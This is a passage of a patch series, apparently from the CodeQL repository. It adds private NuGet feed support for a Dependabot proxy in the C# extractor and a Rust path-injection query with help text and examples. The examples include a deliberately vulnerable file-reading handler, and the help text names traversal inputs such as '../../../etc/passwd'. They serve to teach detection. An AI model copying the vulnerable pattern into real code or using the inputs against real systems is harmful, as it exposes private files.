From 6b2f348c4c68d7dd77227e4c7837f48f3fd6fe49 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Mon, 6 Jan 2025 11:06:58 +0000 Subject: [PATCH 001/121] C#: Add `CODEQL_PROXY_URLS` environment variable --- .../EnvironmentVariableNames.cs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs index d825e5daeb0..589e72d2126 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/EnvironmentVariableNames.cs @@ -89,5 +89,10 @@ namespace Semmle.Extraction.CSharp.DependencyFetching /// Contains the certificate used by the Dependabot proxy. /// public const string ProxyCertificate = "CODEQL_PROXY_CA_CERTIFICATE"; + + /// + /// Contains the URLs of private nuget registries as a JSON array. + /// + public const string ProxyURLs = "CODEQL_PROXY_URLS"; } } From 63d5517d7cf44a3506355ad5cc1622447c69635b Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 7 Jan 2025 11:45:00 +0000 Subject: [PATCH 002/121] C#: Add list of registries to `DependabotProxy` --- .../DependabotProxy.cs | 22 ++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs index cad7d33f472..497e74815ab 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs @@ -1,5 +1,5 @@ using System; -using System.Diagnostics; +using System.Collections.Generic; using System.IO; using System.Security.Cryptography.X509Certificates; using Semmle.Util; @@ -9,6 +9,21 @@ namespace Semmle.Extraction.CSharp.DependencyFetching { public class DependabotProxy : IDisposable { + /// + /// Represents configurations for package registries. + /// + public struct RegistryConfig + { + /// + /// The type of package registry. + /// + public string Type { get; set; } + /// + /// The URL of the package registry. + /// + public string URL { get; set; } + } + private readonly string host; private readonly string port; @@ -17,6 +32,10 @@ namespace Semmle.Extraction.CSharp.DependencyFetching /// internal string Address { get; } /// + /// The URLs of package registries that are configured for the proxy. + /// + internal HashSet RegistryURLs { get; } + /// /// The path to the temporary file where the certificate is stored. /// internal string? CertificatePath { get; private set; } @@ -75,6 +94,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching this.host = host; this.port = port; this.Address = $"http://{this.host}:{this.port}"; + this.RegistryURLs = new HashSet(); } public void Dispose() From 11efb55aa1c414535152611b67ddd1ff40c46274 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 7 Jan 2025 15:28:29 +0000 Subject: [PATCH 003/121] C#: Parse environment variables to obtain list of registry URLs --- .../DependabotProxy.cs | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs index 497e74815ab..c4af0736ef2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs @@ -4,6 +4,7 @@ using System.IO; using System.Security.Cryptography.X509Certificates; using Semmle.Util; using Semmle.Util.Logging; +using Newtonsoft.Json; namespace Semmle.Extraction.CSharp.DependencyFetching { @@ -86,6 +87,39 @@ namespace Semmle.Extraction.CSharp.DependencyFetching result.Certificate = X509Certificate2.CreateFromPem(cert); } + // Try to obtain the list of private registry URLs. + var registryURLs = Environment.GetEnvironmentVariable(EnvironmentVariableNames.ProxyURLs); + + if (!string.IsNullOrWhiteSpace(registryURLs)) + { + try + { + // The value of the environment variable should be a JSON array of objects, such as: + // [ { "type": "nuget_feed", "url": "https://nuget.pkg.github.com/org/index.json" } ] + var array = JsonConvert.DeserializeObject>(registryURLs); + if (array != null) + { + foreach (RegistryConfig config in array) + { + // The array contains all configured private registries, not just ones for C#. + // We ignore the non-C# ones here. + if (!config.Type.Equals("nuget_feed")) + { + logger.LogDebug($"Ignoring registry at '{config.URL}' since it is not of type 'nuget_feed'."); + continue; + } + + logger.LogInfo($"Found private registry at '{config.URL}'"); + result.RegistryURLs.Add(config.URL); + } + } + } + catch (Exception ex) + { + logger.LogError($"Unable to parse '{EnvironmentVariableNames.ProxyURLs}': {ex.Message}"); + } + } + return result; } From 726123c0cbe69978d54d894d78a5a727abc1d6e3 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 7 Jan 2025 11:41:04 +0000 Subject: [PATCH 004/121] C#: Allow specifying package feeds for `dotnet restore` as command line arguments --- .../DotNet.cs | 10 ++++++++++ .../IDotNet.cs | 2 +- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs index dfabb744618..cf9f7f4105d 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs @@ -67,6 +67,16 @@ namespace Semmle.Extraction.CSharp.DependencyFetching args += $" --configfile \"{restoreSettings.PathToNugetConfig}\""; } + // Add package sources. If any are present, they override all sources specified in + // the configuration file(s). + if (restoreSettings.Sources != null) + { + foreach (string source in restoreSettings.Sources) + { + args += $" -s {source}"; + } + } + if (restoreSettings.ForceReevaluation) { args += " --force"; diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs index 2c10afa80ef..44bd4216703 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs @@ -17,7 +17,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching IList GetNugetFeedsFromFolder(string folderPath); } - public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false); + public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, IList? Sources = null, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false); public partial record class RestoreResult(bool Success, IList Output) { From 0db6a269e4410aa30c21a38ea699827844504a2b Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Mon, 24 Feb 2025 13:33:12 +0000 Subject: [PATCH 005/121] C#: Propagate explicit feeds to `RestoreProjects` --- .../NugetPackageRestorer.cs | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index 393e37579b7..3141cf6cc04 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -156,7 +156,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching var restoredProjects = RestoreSolutions(out var container); var projects = fileProvider.Projects.Except(restoredProjects); - RestoreProjects(projects, out var containers); + RestoreProjects(projects, explicitFeeds, out var containers); var dependencies = containers.Flatten(container); @@ -260,8 +260,12 @@ namespace Semmle.Extraction.CSharp.DependencyFetching /// Populates dependencies with the relative paths to the assets files generated by the restore. /// /// A list of paths to project files. - private void RestoreProjects(IEnumerable projects, out ConcurrentBag dependencies) + private void RestoreProjects(IEnumerable projects, HashSet? configuredSources, out ConcurrentBag dependencies) { + var sources = configuredSources ?? new(); + sources.Add(PublicNugetOrgFeed); + this.dependabotProxy?.RegistryURLs.ForEach(url => sources.Add(url)); + var successCount = 0; var nugetSourceFailures = 0; ConcurrentBag collectedDependencies = []; @@ -276,7 +280,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching foreach (var project in projectGroup) { logger.LogInfo($"Restoring project {project}..."); - var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, TargetWindows: isWindows)); + var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, sources.ToList(), TargetWindows: isWindows)); assets.AddDependenciesRange(res.AssetsFilePaths); lock (sync) { From 6b15f77168b43c39cf1ab06bd68e59ee7a35c380 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Mon, 3 Mar 2025 15:12:40 +0000 Subject: [PATCH 006/121] C#: Fix test failures --- csharp/extractor/Semmle.Extraction.Tests/DotNet.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.Tests/DotNet.cs b/csharp/extractor/Semmle.Extraction.Tests/DotNet.cs index c584b607ec8..904ad04ce82 100644 --- a/csharp/extractor/Semmle.Extraction.Tests/DotNet.cs +++ b/csharp/extractor/Semmle.Extraction.Tests/DotNet.cs @@ -123,7 +123,7 @@ namespace Semmle.Extraction.Tests var dotnet = MakeDotnet(dotnetCliInvoker); // Execute - var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, "myconfig.config")); + var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, null, "myconfig.config")); // Verify var lastArgs = dotnetCliInvoker.GetLastArgs(); @@ -141,7 +141,7 @@ namespace Semmle.Extraction.Tests var dotnet = MakeDotnet(dotnetCliInvoker); // Execute - var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, "myconfig.config", true)); + var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, null, "myconfig.config", true)); // Verify var lastArgs = dotnetCliInvoker.GetLastArgs(); From a8dde15a878c58d5dbc1f69c7e27035db8107230 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Fri, 14 Mar 2025 13:47:05 +0000 Subject: [PATCH 007/121] C#: Only provide feeds on command line if Dependabot proxy is enabled --- .../NugetPackageRestorer.cs | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index 3141cf6cc04..c8619030ed2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -262,9 +262,21 @@ namespace Semmle.Extraction.CSharp.DependencyFetching /// A list of paths to project files. private void RestoreProjects(IEnumerable projects, HashSet? configuredSources, out ConcurrentBag dependencies) { - var sources = configuredSources ?? new(); - sources.Add(PublicNugetOrgFeed); - this.dependabotProxy?.RegistryURLs.ForEach(url => sources.Add(url)); + // Conservatively, we only set this to a non-null value if a Dependabot proxy is enabled. + // This ensures that we continue to get the old behaviour where feeds are taken from + // `nuget.config` files instead of the command-line arguments. + HashSet? sources = null; + + if (this.dependabotProxy != null) + { + // If the Dependabot proxy is configured, then our main goal is to make `dotnet` aware + // of the private registry feeds. However, since providing them as command-line arguments + // to `dotnet` ignores other feeds that may be configured, we also need to add the feeds + // we have discovered from analysing `nuget.config` files. + sources = configuredSources ?? new(); + sources.Add(PublicNugetOrgFeed); + this.dependabotProxy?.RegistryURLs.ForEach(url => sources.Add(url)); + } var successCount = 0; var nugetSourceFailures = 0; From 95605935fa030a431df6b83cfa0408842ec946a4 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Fri, 14 Mar 2025 14:02:38 +0000 Subject: [PATCH 008/121] C#: Fix `.ToList()` being called on `null` --- .../NugetPackageRestorer.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index c8619030ed2..a4be22fd60b 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -292,7 +292,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching foreach (var project in projectGroup) { logger.LogInfo($"Restoring project {project}..."); - var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, sources.ToList(), TargetWindows: isWindows)); + var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, sources?.ToList(), TargetWindows: isWindows)); assets.AddDependenciesRange(res.AssetsFilePaths); lock (sync) { From b6c74fe306d6ef8204e623af6b4d89a076ff7b2b Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Fri, 14 Mar 2025 14:05:27 +0000 Subject: [PATCH 009/121] C#: Narrow `Exception` to `JsonException` --- .../DependabotProxy.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs index c4af0736ef2..9c9b7edb2ee 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs @@ -114,7 +114,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching } } } - catch (Exception ex) + catch (JsonException ex) { logger.LogError($"Unable to parse '{EnvironmentVariableNames.ProxyURLs}': {ex.Message}"); } From 284f612965ed1bbf115acff94921af4f5f16db96 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Fri, 14 Mar 2025 14:06:48 +0000 Subject: [PATCH 010/121] C#: Use `StringBuilder` for feed arguments in `GetRestoreArgs` --- .../Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs index cf9f7f4105d..36c85cba9e2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs @@ -2,7 +2,7 @@ using System.Collections.Generic; using System.IO; using System.Linq; - +using System.Text; using Newtonsoft.Json.Linq; using Semmle.Util; @@ -71,10 +71,13 @@ namespace Semmle.Extraction.CSharp.DependencyFetching // the configuration file(s). if (restoreSettings.Sources != null) { + var feedArgs = new StringBuilder(); foreach (string source in restoreSettings.Sources) { - args += $" -s {source}"; + feedArgs.Append($" -s {source}"); } + + args += feedArgs.ToString(); } if (restoreSettings.ForceReevaluation) From 51874b8ef0e38a0015ac0cfde44eaa8aea7c2bb8 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Mon, 17 Mar 2025 14:24:04 +0000 Subject: [PATCH 011/121] Apply suggestions from code review Co-authored-by: Michael Nebel --- .../DependabotProxy.cs | 2 +- .../NugetPackageRestorer.cs | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs index 9c9b7edb2ee..cdc204c22c6 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs @@ -97,7 +97,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching // The value of the environment variable should be a JSON array of objects, such as: // [ { "type": "nuget_feed", "url": "https://nuget.pkg.github.com/org/index.json" } ] var array = JsonConvert.DeserializeObject>(registryURLs); - if (array != null) + if (array is not null) { foreach (RegistryConfig config in array) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index a4be22fd60b..4f65432a561 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -267,7 +267,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching // `nuget.config` files instead of the command-line arguments. HashSet? sources = null; - if (this.dependabotProxy != null) + if (this.dependabotProxy is not null) { // If the Dependabot proxy is configured, then our main goal is to make `dotnet` aware // of the private registry feeds. However, since providing them as command-line arguments @@ -275,7 +275,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching // we have discovered from analysing `nuget.config` files. sources = configuredSources ?? new(); sources.Add(PublicNugetOrgFeed); - this.dependabotProxy?.RegistryURLs.ForEach(url => sources.Add(url)); + this.dependabotProxy.RegistryURLs.ForEach(url => sources.Add(url)); } var successCount = 0; From 7a92a72a9aff72a9d5c45dcd4ae35015a8990d23 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Tue, 18 Mar 2025 16:45:41 +0000 Subject: [PATCH 012/121] C#: Change `RegistryConfig` to a record class --- .../DependabotProxy.cs | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs index cdc204c22c6..be5f137548c 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DependabotProxy.cs @@ -13,17 +13,9 @@ namespace Semmle.Extraction.CSharp.DependencyFetching /// /// Represents configurations for package registries. /// - public struct RegistryConfig - { - /// - /// The type of package registry. - /// - public string Type { get; set; } - /// - /// The URL of the package registry. - /// - public string URL { get; set; } - } + /// The type of package registry. + /// The URL of the package registry. + public record class RegistryConfig(string Type, string URL); private readonly string host; private readonly string port; From 8223dded991456ffede934a01e8ad858e8703a90 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 7 Mar 2025 11:57:52 +0100 Subject: [PATCH 013/121] Rust: TaintedPath query --- .../rust/security/TaintedPathExtensions.qll | 40 +++++++++++ .../security/CWE-022/TaintedPath.qhelp | 67 +++++++++++++++++++ .../queries/security/CWE-022/TaintedPath.ql | 39 +++++++++++ .../security/CWE-022/examples/TaintedPath.rs | 9 +++ .../CWE-022/examples/TaintedPathGoodFolder.rs | 14 ++++ .../examples/TaintedPathGoodNormalize.rs | 12 ++++ 6 files changed, 181 insertions(+) create mode 100644 rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll create mode 100644 rust/ql/src/queries/security/CWE-022/TaintedPath.qhelp create mode 100644 rust/ql/src/queries/security/CWE-022/TaintedPath.ql create mode 100644 rust/ql/src/queries/security/CWE-022/examples/TaintedPath.rs create mode 100644 rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodFolder.rs create mode 100644 rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodNormalize.rs diff --git a/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll b/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll new file mode 100644 index 00000000000..3c6aab4e84d --- /dev/null +++ b/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll @@ -0,0 +1,40 @@ +/** Provides classes and predicates to reason about path injection vulnerabilities. */ + +import rust +private import codeql.rust.controlflow.BasicBlocks +private import codeql.rust.controlflow.ControlFlowGraph +private import codeql.rust.dataflow.DataFlow +private import codeql.rust.dataflow.TaintTracking +private import codeql.rust.Concepts +private import codeql.rust.dataflow.internal.DataFlowImpl + +/** + * Provides default sources, sinks and barriers for detecting path injection + * vulnerabilities, as well as extension points for adding your own. + */ +module TaintedPath { + /** + * A data flow source for path injection vulnerabilities. + */ + abstract class Source extends DataFlow::Node { } + + /** + * A data flow sink for path injection vulnerabilities. + */ + abstract class Sink extends DataFlow::Node { } + + /** + * A barrier for path injection vulnerabilities. + */ + abstract class Barrier extends DataFlow::Node { } + + /** + * An active threat-model source, considered as a flow source. + */ + private class ActiveThreatModelSourceAsSource extends Source, ActiveThreatModelSource { } + + /** A sink for path-injection from model data. */ + private class ModelsAsDataSinks extends Sink { + ModelsAsDataSinks() { sinkNode(this, "path-injection") } + } +} diff --git a/rust/ql/src/queries/security/CWE-022/TaintedPath.qhelp b/rust/ql/src/queries/security/CWE-022/TaintedPath.qhelp new file mode 100644 index 00000000000..8f74c60cfc2 --- /dev/null +++ b/rust/ql/src/queries/security/CWE-022/TaintedPath.qhelp @@ -0,0 +1,67 @@ + + + +

Accessing paths controlled by users can allow an attacker to access unexpected resources. This +can result in sensitive information being revealed or deleted, or an attacker being able to influence +behavior by modifying unexpected files.

+ +

Paths that are naively constructed from data controlled by a user may be absolute paths, or may contain +unexpected special characters such as "..". Such a path could point anywhere on the file system.

+ + + + +

Validate user input before using it to construct a file path.

+ +

Common validation methods include checking that the normalized path is relative and does not contain +any ".." components, or checking that the path is contained within a safe folder. The method you should use depends +on how the path is used in the application, and whether the path should be a single path component. +

+ +

If the path should be a single path component (such as a file name), you can check for the existence +of any path separators ("/" or "\"), or ".." sequences in the input, and reject the input if any are found. +

+ +

+Note that removing "../" sequences is not sufficient, since the input could still contain a path separator +followed by "..". For example, the input ".../...//" would still result in the string "../" if only "../" sequences +are removed. +

+ +

Finally, the simplest (but most restrictive) option is to use an allow list of safe patterns and make sure that +the user input matches one of these patterns.

+ + + + +

In this example, a user-provided file name is read from a HTTP request and then used to access a file +and send it back to the user. However, a malicious user could enter a file name anywhere on the file system, +such as "/etc/passwd" or "../../../etc/passwd".

+ + + +

+If the input should only be a file name, you can check that it doesn't contain any path separators or ".." sequences. +

+ + + +

+If the input should be within a specific directory, you can check that the resolved path +is still contained within that directory. +

+ + + + + + +
  • +OWASP: +Path Traversal. +
    • + +     +     diff --git a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql new file mode 100644 index 00000000000..412d4477f3a --- /dev/null +++ b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql @@ -0,0 +1,39 @@ +/** + * @name Uncontrolled data used in path expression + * @description Accessing paths influenced by users can allow an attacker to access unexpected resources. + * @kind path-problem + * @problem.severity error + * @security-severity 7.5 + * @precision high + * @id rust/path-injection + * @tags security + * external/cwe/cwe-022 + * external/cwe/cwe-023 + * external/cwe/cwe-036 + * external/cwe/cwe-073 + * external/cwe/cwe-099 + */ + +import rust +import codeql.rust.dataflow.DataFlow +import codeql.rust.dataflow.TaintTracking +import codeql.rust.security.TaintedPathExtensions +import TaintedPathFlow::PathGraph + +/** + * A taint configuration for tainted data that reaches a file access sink. + */ +module TaintedPathConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node node) { node instanceof TaintedPath::Source } + + predicate isSink(DataFlow::Node node) { node instanceof TaintedPath::Sink } + + predicate isBarrier(DataFlow::Node barrier) { barrier instanceof TaintedPath::Barrier } +} + +module TaintedPathFlow = TaintTracking::Global; + +from TaintedPathFlow::PathNode source, TaintedPathFlow::PathNode sink +where TaintedPathFlow::flowPath(source, sink) +select sink.getNode(), source, sink, "This path depends on a $@.", source.getNode(), + "user-provided value" diff --git a/rust/ql/src/queries/security/CWE-022/examples/TaintedPath.rs b/rust/ql/src/queries/security/CWE-022/examples/TaintedPath.rs new file mode 100644 index 00000000000..fb0fdbbf6f5 --- /dev/null +++ b/rust/ql/src/queries/security/CWE-022/examples/TaintedPath.rs @@ -0,0 +1,9 @@ +use poem::{error::InternalServerError, handler, web::Query, Result}; +use std::{fs, path::PathBuf}; + +#[handler] +fn tainted_path_handler(Query(file_name): Query) -> Result { + let file_path = PathBuf::from(file_name); + // BAD: This could read any file on the filesystem. + fs::read_to_string(file_path).map_err(InternalServerError) +} diff --git a/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodFolder.rs b/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodFolder.rs new file mode 100644 index 00000000000..8602ad4d5c3 --- /dev/null +++ b/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodFolder.rs @@ -0,0 +1,14 @@ +use poem::{error::InternalServerError, handler, http::StatusCode, web::Query, Error, Result}; +use std::{env::home_dir, fs, path::PathBuf}; + +#[handler] +fn tainted_path_handler(Query(file_path): Query) -> Result { + let public_path = home_dir().unwrap().join("public"); + let file_path = public_path.join(PathBuf::from(file_path)); + let file_path = file_path.canonicalize().unwrap(); + // GOOD: ensure that the path stays within the public folder + if !file_path.starts_with(public_path) { + return Err(Error::from_status(StatusCode::BAD_REQUEST)); + } + fs::read_to_string(file_path).map_err(InternalServerError) +} diff --git a/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodNormalize.rs b/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodNormalize.rs new file mode 100644 index 00000000000..d36cb0e3658 --- /dev/null +++ b/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodNormalize.rs @@ -0,0 +1,12 @@ +use poem::{error::InternalServerError, handler, http::StatusCode, web::Query, Error, Result}; +use std::{fs, path::PathBuf}; + +#[handler] +fn tainted_path_handler(Query(file_name): Query) -> Result { + // GOOD: ensure that the filename has no path separators or parent directory references + if file_name.contains("..") || file_name.contains("/") || file_name.contains("\\") { + return Err(Error::from_status(StatusCode::BAD_REQUEST)); + } + let file_path = PathBuf::from(file_name); + fs::read_to_string(file_path).map_err(InternalServerError) +} From 4b5883ab796ec394f218a1ff319f023420650484 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 11 Mar 2025 12:16:01 +0100 Subject: [PATCH 014/121] Add a bit of modelling --- rust/ql/lib/codeql/rust/Frameworks.qll | 1 + rust/ql/lib/codeql/rust/frameworks/Poem.qll | 20 +++++++++++++++++++ .../rust/frameworks/stdlib/fs.model.yml | 18 +++++++++++++++++ .../diagnostics/SummaryStats.expected | 2 +- .../security/CWE-020/RegexInjection.expected | 6 +++--- 5 files changed, 43 insertions(+), 4 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/frameworks/Poem.qll create mode 100644 rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml diff --git a/rust/ql/lib/codeql/rust/Frameworks.qll b/rust/ql/lib/codeql/rust/Frameworks.qll index daa96538e21..9b19ce0338d 100644 --- a/rust/ql/lib/codeql/rust/Frameworks.qll +++ b/rust/ql/lib/codeql/rust/Frameworks.qll @@ -3,5 +3,6 @@ */ private import codeql.rust.frameworks.rustcrypto.RustCrypto +private import codeql.rust.frameworks.Poem private import codeql.rust.frameworks.Sqlx private import codeql.rust.frameworks.stdlib.Clone diff --git a/rust/ql/lib/codeql/rust/frameworks/Poem.qll b/rust/ql/lib/codeql/rust/frameworks/Poem.qll new file mode 100644 index 00000000000..66c01a415a1 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/Poem.qll @@ -0,0 +1,20 @@ +/** + * Provides modeling for the `Poem` library. + */ + +private import rust +private import codeql.rust.Concepts +private import codeql.rust.dataflow.DataFlow + +/** + * Parameters of a handler function + */ +private class PoemHandlerParam extends RemoteSource::Range { + PoemHandlerParam() { + exists(TupleStructPat param | + param.getResolvedPath() = ["crate::web::query::Query", "crate::web::path::Path"] + | + this.asPat().getPat() = param.getAField() + ) + } +} diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml new file mode 100644 index 00000000000..9f17d373824 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml @@ -0,0 +1,18 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: [] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:std", "crate::fs::read_to_string", "Argument[0]", "path-injection", "manual"] + + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["lang:std", "::from", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["lang:std", "::join", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["lang:std", "::join", "Argument[0]", "ReturnValue", "taint", "manual"] diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected index aaf68558f09..d34cd849069 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 8 | | Macro calls - total | 9 | | Macro calls - unresolved | 1 | -| Taint edges - number of edges | 1671 | +| Taint edges - number of edges | 1674 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected index e204b5a3926..586963d9293 100644 --- 